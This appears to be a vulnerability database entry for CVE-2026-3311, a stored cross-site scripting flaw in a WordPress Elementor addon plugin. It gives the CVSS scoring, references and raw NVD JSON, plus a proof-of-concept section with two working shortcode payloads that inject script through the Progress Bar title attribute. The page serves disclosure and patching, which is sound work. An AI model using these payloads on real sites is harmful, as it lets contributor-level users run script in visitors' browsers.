CVE-2026-3311

Description

The The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Progress Bar shortcode in all versions up to, and including, 6.4.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score

6.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

The Plus Addons for Elementor <= 6.4.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-3311 Stored XSS -->
<!-- Usage: Insert this shortcode in a page or post using the Elementor editor or text widget -->

[plus_progress_bar title='"><script>alert("CVE-2026-3311 XSS")</script>' value="50"]

<!-- Alternative Payload using img tag (if script tags are filtered by editor) -->
[plus_progress_bar title='"><img src=x onerror=alert(1)>' value="80"]

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3311
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3311
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3311/
[4] VulDB https://vuldb.com/cve/CVE-2026-3311
[5] https://plugins.trac.wordpress.org/changeset/3473275/the-plus-addons-for-elementor-page-builder
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/6367c5fc-f664-4105-a1b7-a93fb0a2392b?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3311", "sourceIdentifier": "[email protected]", "published": "2026-04-08T06:16:28.807", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Progress Bar shortcode in all versions up to, and including, 6.4.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3473275/the-plus-addons-for-elementor-page-builder", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6367c5fc-f664-4105-a1b7-a93fb0a2392b?source=cve", "source": "[email protected]"}]}}